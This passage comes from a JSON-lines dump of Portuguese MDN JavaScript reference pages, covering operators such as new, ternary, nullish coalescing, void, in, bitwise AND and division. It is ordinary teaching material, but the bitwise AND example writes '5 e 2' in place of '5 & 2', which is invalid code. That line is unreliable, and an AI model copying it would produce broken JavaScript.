tipo de objeto. O código a seguir adiciona uma propriedade cor com valor `null` à todos objetos do tipo `carro`, e então sobrescreve aquele valor com a string \"`preta`\" somente no objeto de instancia `carro1`. Para mais informações veja prototype (en-US).\n\n\n```js\nfunction Carro() {}\ncarro1 = new Carro();\n\nconsole.log(carro1.cor); // undefined\n\nCarro.prototype.cor = null;\nconsole.log(carro1.cor); // null\n\ncarro1.cor = \"preta\";\nconsole.log(carro1.cor); // preta\n```\n\nExemplos\n--------\n\n### Tipo de objeto e instância de objeto\n\nSuponha que você quer criar um tipo de objeto para carros. Você quer que esse tipo de objeto se chame `carro`, e quer que ele tenha propriedade para fabricante, modelo e ano. Para fazer isso, você escreveria a função a seguir:\n\n\n```js\nfunction Carro(fabricante, modelo, ano) {\n  this.fabricante = fabricante;\n  this.modelo = modelo;\n  this.ano = ano;\n}\n```\n\n\nAgora você pode criar um objeto chamado `meucarro` como a seguir:\n\n\n```js\nvar meucarro = new Carro(\"Eagle\", \"Talon TSi\", 1993);\n```\n\n\nEssa declaração cria `meucarro` e atribui a ele os valores especificados as suas propriedades. Então o valor de `meucarro.fabricante` é a string \"Eagle\", `meucarro.ano` é o inteiro 1993, e assim sucessivamente.\n\nVocê pode criar qualquer numero de objetos `carro` através de chamadas a `new`. Por exemplo:\n\n\n```js\nvar carrodoken = new Carro(\"Nissan\", \"300ZX\", 1992);\n```\n\n### Propriedade do objeto que é outro objeto\n\nSuponha que você defina um objeto chamado `pessoa` como a seguir:\n\n\n```js\nfunction Pessoa(nome, idade, sexo) {\n  this.nome = nome;\n  this.idade = idade;\n  this.sexo = sexo;\n}\n```\n\n\nE então instancia dois novos objetos `pessoa` como a seguir:\n\n\n```js\nvar rand = new Pessoa(\"Rand McNally\", 33, \"M\");\nvar ken = new Pessoa(\"Ken Jones\", 39, \"M\");\n```\n\n\nEntão você pode reescrever a definição de `carro` para incluir uma propriedade dono que aceita um objeto pessoa, como a seguir:\n\n\n```js\nfunction Carro(fabricante, modelo, ano, dono) {\n  this.fabricante = fabricante;\n  this.modelo = modelo;\n  this.ano = ano;\n  this.dono = dono;\n}\n```\n\n\nPara instanciar os novos objetos, você então usa o seguinte:\n\n\n```js\nvar carro1 = new Carro(\"Eagle\", \"Talon TSi\", 1993, rand);\nvar carro2 = new Carro(\"Nissan\", \"300ZX\", 1992, ken);\n```\n\n\nAo invés de passar uma string ou valor inteiro quando criar os novos objetos, as definições acima passam objetos `rand` e `ken` como os parâmetros para os donos. Para descobrir o nome do dono do `carro2`, você pode acessar a seguinte propriedade:\n\n\n```js\ncarro2.dono.nome;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-new-operator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Function`\n* `Reflect.construct()`"}
{"title":"Operador Condicional Ternário - JavaScript","text":"Operador Condicional Ternário\n=============================\n\nSumário\n-------\n\nO **operador condicional (ternário)** é o único operador JavaScript que possui três operandos. Este operador é frequentemente usado como um atalho para a instrução `if`.\n\nSintaxe\n-------\n```\n\ncondition ? expr1 : expr2\n```\n\nParâmetros\n----------\n\n`condition`\n\nUma expressão que é avaliada como `true` ou `false`.\n\n`expr1`, `expr2`\n\nExpressões com valores de qualquer tipo.\n\nDescrição\n---------\n\nSe `condition` é `true`, o operador retornará o valor de `expr1`; se não, ele retorna o valor de `exp2`. Por exemplo, para exibir uma mensagem diferente baseada no valor da variável `isMember`, você poderá utilizar o código (statement) seguinte:\n\n\n```js\n\"The fee is \" + (isMember ? \"$2.00\" : \"$10.00\");\n```\n\n\nConforme o resultado da operação, você também poderá atribuir a variáveis:\n\n\n```js\nvar elvisLives = Math.PI > 4 ? \"Yep\" : \"Nope\";\n```\n\n\nTambém são possíveis múltiplas avaliaçãoes ternárias (nota: o operador condicional é associativo a direita):\n\n\n```js\nvar firstCheck = false,\n  secondCheck = false,\n  access = firstCheck\n    ? \"Access denied\"\n    : secondCheck\n      ? \"Access denied\"\n      : \"Access granted\";\n\nconsole.log(access); // logs \"Access granted\"\n```\n\n\nVocê também pode usar avaliações ternárias no espaço livre de modo a fazer diferentes operações:\n\n\n```js\nvar stop = false,\n  age = 16;\n\nage > 18 ? location.assign(\"continue.html\") : (stop = true);\n```\n\n\nVocê também pode fazer mais do que uma única operação em cada caso, separando-os por vírgula:\n\n\n```js\nvar stop = false,\n  age = 23;\n\nage > 18\n  ? (alert(\"OK, you can go.\"), location.assign(\"continue.html\"))\n  : ((stop = true), alert(\"Sorry, you are much too young!\"));\n```\n\n\nVocê também pode fazer mais de uma operação durante a atribuição de um valor. Neste caso, **o último valor separado por vírgula dentro** dos parênteses **será o valor a ser atribuído**.\n\n\n```js\nvar age = 16;\n\nvar url =\n  age > 18\n    ? (alert(\"OK, you can go.\"),\n      // alert returns \"undefined\", but it will be ignored because\n      // isn't the last comma-separated value of the parenthesis\n      \"continue.html\") // the value to be assigned if age > 18\n    : (alert(\"You are much too young!\"),\n      alert(\"Sorry :-(\"),\n      // etc. etc.\n      \"stop.html\"); // the value to be assigned if !(age > 18)\n\nlocation.assign(url); // \"stop.html\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-conditional-operator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operador condicional if"}
{"title":"import.meta - JavaScript","text":"import.meta\n===========\n\nO objeto **`import.meta`** mostra os metadados específicos do contexto de um módulo JavaScript. Ele contém informações sobre o módulo, como a sua URL.\n\nSintaxe\n-------\n```\n\nimport.meta\n```\n\nDescrição\n---------\n\nA sintaxe consiste na palavra chave `import`, um ponto, e o identificador `meta`. Normalmente no lado esquerdo do ponto é o objeto na qual a propriedade de acesso é realizada is, mas aqui `import` não é exatamente um objeto.\n\nO objeto`import.meta` foi criado no implementação ECMAScript,com um protótipo `null`. O objeto é extensível, e suas propriedades são grávaveis, configuráveis, e enumeráveis.\n\nExemplos\n--------\n\n### Usando import.meta\n\nDado o modulo `my-module.js`\n\n\n```html\n<script type=\"module\" src=\"my-module.js\"></script>\n```\n\n\nVocê pode acessar essa meta informação sobre o modulo usando o objeto `import.meta.`\n\n\n```js\nconsole.log(import.meta); // { url: \"file:///home/user/my-module.js\" }\n```\n\n\nIrá retornar um objeto com propriedade URL indicando a base URL do módulo. Isso vai ser o URL da qual o script obteve, por scripts external, ou a base do documento URL contendo documento, para scripts inline.\n\nNote que isso irá incluir parâmetros query e/ou cerquilha (i.e., seguindo o `?` ou `#`).\n\nPor exemplo, seguindo esse HTML:\n\n\n```html\n<script type=\"module\">\n import \"./index.mjs?someURLInfo=5\";\n</script>\n```\n\n\nO arquivo JavaScript a seguir vai registrar o parâmetro `someURLInfo`:\n\n\n```js\n// index.mjs\nnew URL(import.meta.url).searchParams.get(\"someURLInfo\"); // 5\n```\n\n\nO mesmo se aplica quando um arquivo importa outro:\n\n\n```js\n// index.mjs\nimport \"./index2.mjs?someURLInfo=5\";\n\n// index2.mjs\nnew URL(import.meta.url).searchParams.get(\"someURLInfo\"); // 5\n```\n\n\nNote que enquanto o Node.js vai passar nos parâmetros query (ou na cerquilha) como no exemplo passsado, a partir do Node 14.1.0, a URL com parâmetro query vai dar erro quando carregar no formulário `node --experimental-modules index.mjs?someURLInfo=5` (é tratado como um arquivo ao invés de uma URL nesse contexto).\n\nNesse arquivo específico, o argumento passado pode ser complementar para ser usado na ampla aplicação `location.href` (com strings query ou cerquilha adicionada depois do caminho de arquivo HTML) (ou por Node.js, através do `process.argv`).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # prod-ImportMeta |\n| HTML Standard # hostgetimportmetaproperties |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `import`\n* `export`"}
{"title":"Operador de coalescência nula - JavaScript","text":"Operador de coalescência nula\n=============================\n\nO **operador de coalescência nula (`??`)** é um operador lógico que retorna o seu operando do lado direito quando o seu operador do lado esquerdo é `null` ou `undefined`. Caso contrário, ele retorna o seu operando do lado esquerdo.\n\nAo contrário do operador lógico OR (`||`), o operando esquerdo é retornado se houver um valor *falsy* (falso) que não seja `null` ou `undefined`. Em outras palavras, se você usar `||` para obter algum valor padrão para outra variável `foo`, você pode enfrentar comportamentos inesperados se você considerar algum valor falseável como utilizável (eg. `''` ou `0`). Veja abaixo alguns exemplos:\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nexprEsq ?? exprDir\n```\n\nDescrição\n---------\n\nO operador de coalescência nula retorna os resultados da expressão de seu lado direito se a expressão de seu lado esquerdo for `null` ou `undefined`.\n\n### Endereçando um valor padrão à variável\n\nInicialmente, quando se deseja endereçar um valor padrão à variável, um padrão comum é utilizar o operador lógico OR (`||`):\n\n\n```js\nlet foo;\n\n// foo nunca é endereçado a nenhum valor, portanto, ainda está indefinido\nlet someDummyText = foo || \"Hello!\";\n```\n\n\nEntretanto, devido ao `||` ser um operador lógico booleano, o operando do lado esquerdo é coagido para um valor booleano para sua avaliação e qualquer valor *falseável* (`0`, `''`, `NaN`, `null`, `undefined`) não é retornado. Este comportamento pode causar consequencias inesperadas se você considerar `0`, `''`, ou `NaN` como valores válidos.\n\n\n```js\nlet count = 0;\nlet text = \"\";\n\nlet qty = count || 42;\nlet message = text || \"Olá!\";\nconsole.log(qty); // 42 e não 0\nconsole.log(message); // \"Olá!\" e não \"\"\n```\n\n\nO operador de coalescência nula evita esta cilada pois retorna o segundo operando apenas quando o primeiro é avaliado entre os valores `null` ou `undefined` (mas nehum outro valor falseável):\n\n\n```js\nlet myText = \"\"; // Uma string vazia (que também é um valor falseável)\n\nlet notFalsyText = myText || \"Olá mundo\";\nconsole.log(notFalsyText); // Olá mundo\n\nlet preservingFalsy = myText ?? \"Olá vizinhança\";\nconsole.log(preservingFalsy); // '' (Pois myText não é undefined e nem null)\n```\n\n### Curto-circuito\n\nAssim como os operadores lógicos OR e AND, a expressão do lado direito não é avaliada se o lado esquerdo não for avaliado entre `null` e nem `undefined`.\n\n\n```js\nfunction A() {\n  console.log(\"A foi chamado\");\n  return undefined;\n}\nfunction B() {\n  console.log(\"B foi chamado\");\n  return false;\n}\nfunction C() {\n  console.log(\"C foi chamado\");\n  return \"foo\";\n}\n\nconsole.log(A() ?? C());\n// Imprime \"A foi chamado\" então \"C foi chamado\" e por fim \"foo\"\n// Como A() retornou undefined então ambas expressões foram avaliadas\n\nconsole.log(B() ?? C());\n// Imprime \"B foi chamado\" então \"false\"\n// Como B() retornou false (e não null ou undefined), a expressão\n// do lado direito não foi avaliada.\n```\n\n### Sem encadeamento com os operadores AND e OR\n\nNão é possível encadear ambos operadores AND (`&&`) e OR (`||`) diretamente com o `??`. Um `SyntaxError` (en-US) será disparado nesse tipo de caso.\n\n\n```js\nnull || undefined ?? \"foo\"; // Dispara um SyntaxError\ntrue || undefined ?? \"foo\"; // Dispara um SyntaxError\n```\n\n\nEntretanto, explicitar diretamente a precedência por meio de parênteses resulta no comportamento correto:\n\n\n```js\n(null || undefined) ?? \"foo\"; // retorna \"foo\"\n```\n\n### Relacionamento com o operador de encadeamento opcional (`?.`)\n\nO operador de coalescêcia nula trata `undefined` e `null` como valores específicos e então executa o operador de encadeamento opcional (`?.`) o qual é útil para acessar uma propriedade de um objeto, o qual pode ser `null` ou `undefined`.\n\n\n```js\nlet foo = { someFooProp: \"oi\" };\n\nconsole.log(foo.someFooProp?.toUpperCase()); // \"OI\"\nconsole.log(foo.someBarProp?.toUpperCase()); // undefined\n```\n\nExemplo\n-------\n\nNeste exemplo, nós iremos prover valores padrão, mas manter valores que não sejam (advinha???) `null` ou `undefined`.\n\n\n```js\nconst nullValue = null;\nconst emptyText = \"\"; // falseável (falsy)\nconst someNumber = 42;\n\nconst valA = nullValue ?? \"padrão para A\";\nconst valB = emptyText ?? \"padrão para B\";\nconst valC = someNumber ?? 0;\n\nconsole.log(valA); // \"padrão para A\"\nconsole.log(valB); // \"\" (pois a string vazia não é null ou undefined)\nconsole.log(valC); // 42\n```\n\nEspecificações\n--------------\n\n| Especificação | Status | comentário |\n| --- | --- | --- |\n| Proposal for the \"nullish coalescing\" operator | Stage 4 |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The optional chaining operator\n* The logical OR (`||`) operator\n* Default parameters in functions"}
{"title":"class expression - JavaScript","text":"class expression\n================\n\nA **expressão class** é uma das formas de definir uma classe no ECMAScript 2015. Parecido com as expressões function, expressões class poder ser nomeadas ou não. Se nomeada, o nome da classe é local para apenas o corpo da classe. Classes no JavaScript usam herança com base no prototype\n\nSintaxe\n-------\n```\n\nvar MinhaClasse = class [nomeDaClass] [extends] {\n  // corpo da classe\n};\n```\n\nDescrição\n---------\n\nUma expressão de classe tem uma sintaxe similar a uma declaração de classe. No entanto, com expressões de classe, você poderá omitir o nome da classe (\"ligação de identificadores\"), que você não pode se usar declarações. Adicionalmente, expressões de classe permitem que você redefina/redeclare classes e **não invocar** nenhum tipo de erros como declaração de classe. A propriedade construtora é opcional. E o *typeof* de classes geradas usando essa palavra-chave sempre será \"function\".\n\nAssim como declarações de classes, o corpo das expressões de classe são executados em strict mode.\n\n\n```js\n\"use strict\";\nvar Foo = class {}; // propriedade de construtor é opcional\nvar Foo = class {}; // Re-declaração é permitida\n\ntypeof Foo; //retorna \"function\"\ntypeof class {}; //retorna \"function\"\n\nFoo instanceof Object; // true\nFoo instanceof Function; // true\nclass Foo {} // Throws TypeError, não permite re-declaração\n```\n\nExemplos\n--------\n\n### Uma simples expressão de classe\n\nIsso é apenas uma simples classe anônima que você pode referir usando a variável \"Foo\".\n\n\n```js\nvar Foo = class {\n  constructor() {}\n  bar() {\n    return \"Olá mundo!\";\n  }\n};\n\nvar instance = new Foo();\ninstance.bar(); // \"Olá mundo!\"\nFoo.name; // \"Foo\"\n```\n\n### Expressões de classes nomeadas\n\nSe você quiser referir a classe atual dentro do corpo da classe, você pode criar uma expressão de classe nomeada. Esse nome é visível apenas no escopo da expressão classe sozinha.\n\n\n```js\nvar Foo = class NamedFoo {\n  constructor() {}\n  whoIsThere() {\n    return NamedFoo.name;\n  }\n};\nvar bar = new Foo();\nbar.whoIsThere(); // \"NamedFoo\"\nNamedFoo.name; // ReferenceError: NamedFoo is not defined\nFoo.name; // \"NamedFoo\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-class-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Expressão `function`\n* Declaração `class`\n* Classes"}
{"title":"void operator - JavaScript","text":"void operator\n=============\n\nO **`operador void`** avalia a expressão dada e, em seguida, retorna `undefined`.\n\nSintaxe\n-------\n```\n\nvoid expressão\n```\n\nDescrição\n---------\n\nEste operador permite a inserção de expressões que produzem efeitos secundários em lugares onde uma expressão que avalia a ação `undefined` é desejada.\n\nO operador `void` é muitas vezes utilizado apenas para obter o valor primitivo `undefined`, geralmente usando \"`void(0)`\" (o que equivale a \"`void 0`\"). Nestes casos, a variável global `undefined` pode ser utilizado em vez (supondo que ele não tenha sido atribuído a um valor não-padrão).\n\nChamada imediata das expressões da função\n-----------------------------------------\n\nQuando usamos uma Chamada imediata das expressões da função, valores nulos podem ser usado para forçar a palavra-chave da função a ser tratada como uma expressão em vez de uma declaração.\n\n\n```js\nvoid (function iife() {\n  var bar = function () {};\n  var baz = function () {};\n  var foo = function () {\n    bar();\n    baz();\n  };\n  var biz = function () {};\n\n  foo();\n  biz();\n})();\n```\n\nJavaScript URIs\n---------------\n\nQuando o navegador segue uma URI `javascript`, ele avalia o código na URI e então troca o conteúdo da página pelo valor retornado por este, a não ser que o valor retornado seja `undefined`. O operador `void` pode ser usado para retornar `undefined`. Por exemplo:\n\n\n```html\n<a href=\"javascript:void(0);\">Clique aqui para não fazer nada</a>\n\n<a href=\"javascript:void(document.body.style.backgroundColor='green');\">\n  Clique aqui para o papel de parede ser verde\n</a>\n```\n\n\nNote que no entanto o pseudo protocolo `javascript:` tem seu uso desencorajado perante outras alternativas como *unobtrusive event handlers*.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-void-operator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `undefined`"}
{"title":"Bitwise AND (&) - JavaScript","text":"Bitwise AND (&)\n===============\n\nO operador bitwise AND (`&`) retorna `1` em cada posição do bit em que os bits corrrespondentes de ambos os operandos são `1`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\na & b\n```\n\nDescrição\n---------\n\n Os operandos são convertidos em inteiros de 32 bits e expressos por uma série de bits (zeros e uns). Números com mais de 32 bits têm seus bits mais significativos descartados. Por exemplo, o seguinte inteiro com mais de 32 bits será convertido em um de 32 bits\n inteiro:\n```\n\nAntes: 11100110111110100000000000000110000000000001\nDepois:            10100000000000000110000000000001\n```\n\n\n Cada bit no primeiro operando é emparelhado com o bit correspondente no segundo\n operando: *primeiro bit* para o *primeiro bit* , *segundo bit* para o *segundo bit*, e assim por diante.\n\nO operador é aplicado a cada par de bits e o resultado é construído em bitwase.\n\nA tabela verdade para a operação AND é:\n\n| a | b | a AND b |\n| --- | --- | --- |\n| 0 | 0 | 0 |\n| 0 | 1 | 0 |\n| 1 | 0 | 0 |\n| 1 | 1 | 1 |\n```\n\n     9 (base 10) = 00000000000000000000000000001001 (base 2)\n    14 (base 10) = 00000000000000000000000000001110 (base 2)\n                   --------------------------------\n14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)\n```\n\n\n A operação AND bit a bit (Bitwase) de qualquer número `x` com `0` produz\n `0` .\n\nExemplos\n--------\n\n### Usando bitwase AND\n\n\n```js\n// 5: 00000000000000000000000000000101\n// 2: 00000000000000000000000000000010\n5  e  2 ; // 0\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # prod-BitwiseANDExpression |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operadores Bitwise no JS guide\n* Operador de atribuição Bitwise AND (en-US)"}
{"title":"in operator - JavaScript","text":"in operator\n===========\n\nO **operador** **`in`** retorna `true` se a propriedade especificada estiver no objeto especificado ou na sua cadeia de protótipo (prototype chain) desde objeto.\n\nSintaxe\n-------\n```\n\nprop in object\n```\n\n### Parâmetros\n\n`prop`\n\nUm string ou símbolo representando o nome de uma propriedade ou o índice de um array (não-símbolos serão trazidos para strings).\n\n`object`\n\nObjeto para verificar se este (ou sua cadeia de protótipo) contém a propriedade com o nome especificado.\n\nDescrição\n---------\n\nOs exemplos a seguir mostram alguns usos do operador `in`.\n\n\n```js\n// Arrays\nvar trees = [\"redwood\", \"bay\", \"cedar\", \"oak\", \"maple\"];\n0 in trees; // retorna true\n3 in trees; // retorna true\n6 in trees; // retorna false\n\"bay\" in trees; // retorna false (você precisa especificar o\n// número do índice, não o valor naquele índice)\n\"length\" in trees; // retorna true (length é uma propridade do Array)\nSymbol.iterator in trees; // retorna true (arrays são iteráveis, funciona apenas na ES2015+)\n\n// Objetos predefinidos\n\"PI\" in Math; // retorna true\n\n// Objetos personalizados\nvar mycar = { make: \"Honda\", model: \"Accord\", year: 1998 };\n\"make\" in mycar; // retorna true\n\"model\" in mycar; // retorna true\n```\n\n\nVocê precisa especificar um objeto no lado direito do operador `in`. Por exemplo, você pode especifica um string criado com o construtor `String`, mas você não pode especificar um string literal.\n\n\n```js\nvar color1 = new String(\"green\");\n\"length\" in color1; // retorna true\n\nvar color2 = \"coral\";\n// gera um erro (color2 não é um objeto String)\n\"length\" in color2;\n```\n\n### Usando `in` com propriedade removida ou undefined\n\nSe você remover uma propriedade com o operador `delete` (en-US) , o operador `in` retorna `false` para essa propriedade.\n\n\n```js\nvar mycar = { make: \"Honda\", model: \"Accord\", year: 1998 };\ndelete mycar.make;\n\"make\" in mycar; // retorna false\n\nvar trees = new Array(\"redwood\", \"bay\", \"cedar\", \"oak\", \"maple\");\ndelete trees[3];\n3 in trees; // retorna false\n```\n\n\nSe você definir uma propriedade como `undefined`, mas não a remover, o operador `in` retorna `true` para essa propriedade.\n\n\n```js\nvar mycar = { make: \"Honda\", model: \"Accord\", year: 1998 };\nmycar.make = undefined;\n\"make\" in mycar; // retorna true\n```\n\n\n\n```js\nvar trees = new Array(\"redwood\", \"bay\", \"cedar\", \"oak\", \"maple\");\ntrees[3] = undefined;\n3 in trees; // retorna true\n```\n\n### Propriedades herdadas\n\nO operador `in` retorna `true` para propriedades que estão na cadeida de protótipo (prototype chain).\n\n\n```js\n\"toString\" in {}; // retorna true\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-relational-operators |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `for...in`\n* `delete` (en-US)\n* `Object.prototype.hasOwnProperty()`\n* `Reflect.has()` (en-US)\n* Enumerability and ownership of properties (en-US)"}
{"title":"new.target - JavaScript","text":"new.target\n==========\n\nA propriedade `new.target` permite que você detecte quando uma função ou construtor foi chamado utilizando o operador new. Em construtores e funções instaciadas com o operador new , `new.target` retorna a referência ao construtor ou função. Em chamadas normais de funções , `new.target` é `undefined`.\n\nSintaxe\n-------\n```\n\nnew.target\n```\n\nDescrição\n---------\n\nA sintaxe `new.target` consiste na palavra- chave `\"new`\", o ponto, e o nome da propriedade `\"target\"`. Normalmente \"`new.\"` serve como um contexto para a propriedade de acesso, mas aqui `\"new.\"` não é exatamente um objeto. Em chamadas de construtores, entretanto, `new.target` se refere ao construtor invocado pelo `new` e então \"`new.`\" se torna um contexto virtual.\n\n`new.target` é uma propriedade meta que é disponibilizada para todas as funções. Em funções do tipo flecha `=>`, `new.target` se refere ao `new.target` em torno da função.\n\nExemplos\n--------\n\n### new.target em chamadas de Função\n\nEm chamadas normais de função (diferente de chamadas a funções do tipo construtor), `new.target` é `undefined`. Isso permite que você detecte se a função foi chamada como um novo construtor.\n\n\n```js\nfunction Foo() {\n  if (!new.target) throw \"Foo() must be called with new\";\n  console.log(\"Foo instanciado com new\");\n}\n\nFoo(); // throws \"Foo() must be called with new\"\nnew Foo(); // logs \"Foo instanciado com new\"\n```\n\n### new.target em Construtores\n\nEm classes construtoras, `new.target` se refere ao construtor que foi diretamente invocado pelo `new`. Isto também é o caso se o construtor é uma classe pai e foi delegado pelo construtor de um filho.\n\n\n```js\nclass A {\n  constructor() {\n    console.log(new.target.name);\n  }\n}\n\nclass B extends A {\n  constructor() {\n    super();\n  }\n}\n\nvar a = new A(); // logs \"A\"\nvar b = new B(); // logs \"B\"\n\nclass C {\n  constructor() {\n    console.log(new.target);\n  }\n}\nclass D extends C {\n  constructor() {\n    super();\n  }\n}\n\nvar c = new C(); // logs class C{constructor(){console.log(new.target);}}\nvar d = new D(); // logs class D extends C{constructor(){super();}}\n```\n\n\nA partir do exemplo acima das classes C e D, mostra que new.target aponta para a definição da classe na qual foi inicializada. Exemplo, quando D foi inicializado utilizando new, a definição da classe D foi impressa e similiarmente ao caso de C, a classe C foi impressa.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-built-in-function-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* funções\n* Classes\n* `new`\n* `this`"}
{"title":"Desigualdade (!=) - JavaScript","text":"Desigualdade (!=)\n=================\n\nO operador de desigualdade (`!=`) verifica se seus dois operandos não são igual, retornando um resultado booleano. Ao contrário do operador de desigualdade estrito (en-US), ele tenta converter os tipos e comparar operandos de tipos diferentes.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nx != y\n```\n\nDescrição\n---------\n\nO operador de desigualdade verifica se seus operandos não são iguais. É a negação do operador de igualdade (en-US), de modo que as duas linhas a seguir sempre darão o mesmo resultado:\n\n\n```js\nx != y;\n\n!(x == y);\n```\n\n\nPara obter detalhes do algoritmo de comparação, consulte a página do operador de igualdade (en-US).\n\n\n```js\n3 != \"3\"; // false\n```\n\n\nPara evitar isso e exigir que diferentes tipos sejam considerados diferentes, use o operador de desigualdade estrita (en-US) em vez disso:\n\n\n```js\n3 !== \"3\"; // true\n```\n\nExemplos\n--------\n\n### Comparação sem conversão de tipo\n\n\n```js\n1 != 2; // true\n\"hello\" != \"hola\"; // true\n\n1 != 1; // false\n\"hello\" != \"hello\"; // false\n```\n\n### Comparação com conversão de tipo\n\n\n```js\n\"1\" != 1; // false\n1 != \"1\"; // false\n0 != false; // false\n0 != null; // true\n0 != undefined; // true\n0 != !!null; // false, veja o operador lógico NOT\n0 != !!undefined; // false, veja o operador lógico NOT\nnull != undefined; // false\n\nconst number1 = new Number(3);\nconst number2 = new Number(3);\nnumber1 != 3; // false\nnumber1 != number2; // true\n```\n\n### Comparação de objetos\n\n\n```js\nconst object1 = {\n  key: \"value\",\n};\n\nconst object2 = {\n  key: \"value\",\n};\n\nconsole.log(object1 != object2); // true\nconsole.log(object1 != object1); // false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-equality-operators |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operador de igualdade (en-US)\n* Operador de igualdade estrito (en-US)\n* Operador de desigualdade estrito (en-US)"}
{"title":"Subtração (-) - JavaScript","text":"Subtração (-)\n=============\n\nO operador de subtração (`-`) é o operador aritmético de subtração usado para encontrar a diferença entre dois números\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nx - y\n```\n\nExemplos\n--------\n\n### Subtração com números\n\n\n```js\n5 - 3; // 2\n3 - 5; // -2\n```\n\n### Subtração com strings\n\n> \n> **Warning:** Note que o JavaScript sempre tentará converter uma String em numero número\n> \n> \n> \n\n\n```js\n\"foo\" - 3; // NaN\n\"5\" - 1; // 4\n\"10\" - 5; // 5\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-subtraction-operator-minus |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operador de adição\n* Operador de divisão\n* Operador de multiplicação (en-US)\n* Operador de restante (en-US)\n* Operador de exponenciação\n* Operador de incremento (en-US)\n* Operador de decremento (en-US)\n* Operador unário negation (en-US)\n* Operador unário plus (en-US)"}
{"title":"Divisão (/) - JavaScript","text":"Divisão (/)\n===========\n\nO operador de divisão (`/`) produz o quociente de seus operandos onde o operando esquerdo é o dividendo e o operando direito é o divisor.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nx / y\n```\n\nExemplos\n--------\n\n### Divisão básica\n\n\n```js\n1 / 2; // 0.5\n\nMath.floor(3 / 2); // 1\n\n1.0 / 2.0; // 0.5\n```\n\n### Divisão por zero\n\n\n```js\n2.0 / 0; // Infinito\n\n2.0 / 0.0; // Infinito, porque 0.0 === 0\n\n2.0 / -0.0; // -Infinito\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-multiplicative-operators |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Operador de adição\n* Operador de subtração\n* Operador de multiplicação (en-US)\n* Operador restante (en-US)\n* Operador de exponenciação\n* Operador de incremento (en-US)\n* Operador de decremento (en-US)\n* Operador de negação unário (en-US)\n* Operador unário plus (en-US)"}
{"title":"Expressão de função (function expression) - JavaScript","text":"Expressão de função (function expression)\n=========================================\n\nA palavra-chave **`function`** pode ser usada para definir uma função dentro de uma expressão.\n\nSintaxe\n-------\n```\n\nfunction [name]([param1[, param2[, ..., paramN]]]) {\n   statements\n}\n```\n\n### Parâmetros\n\n`name`\n\nO nome da função. Pode ser omitido, neste caso a função será anônima. O nome só é local em relação ao corpo da função.\n\n`paramN`\n\nO nome de um argumento a ser passado para a função.\n\n`statements`\n\nAs declarações que compreendem o corpo da função.\n\nDescrição\n---------\n\nUma expressão de função (*function expression*) é muito similar e tem quase a mesma sintaxe de uma declaração de função (veja function statement para mais detalhes). A principal diferença entre uma expressão de função e a declaração de uma função é o nome da função (*function name*)*,* o qual pode ser omitido em expressões de funções para criar funções anônimas. Veja ainda o capítulo sobre funções para maiores informações.\n\nExemplos\n--------\n\nO exemplo a seguir define uma função sem nome e a atribui a x. A função retorna o quadrado de seu argumento:\n\n\n```js\nvar x = function (y) {\n  return y \\* y;\n};\n```\n\n### Expressão de função nomeada\n\nSe você quer se referir à função atual dentro do corpo da função, você terá que criar uma expressão de função nomeada. Este nome será local apenas para o corpo (escopo) da função. Isto ainda evita o uso da propriedade não-padronizada `arguments.callee` (en-US).\n\n\n```js\nvar math = {\n  factorial: function factorial(n) {\n    if (n <= 1) return 1;\n    return n \\* factorial(n - 1);\n  },\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # 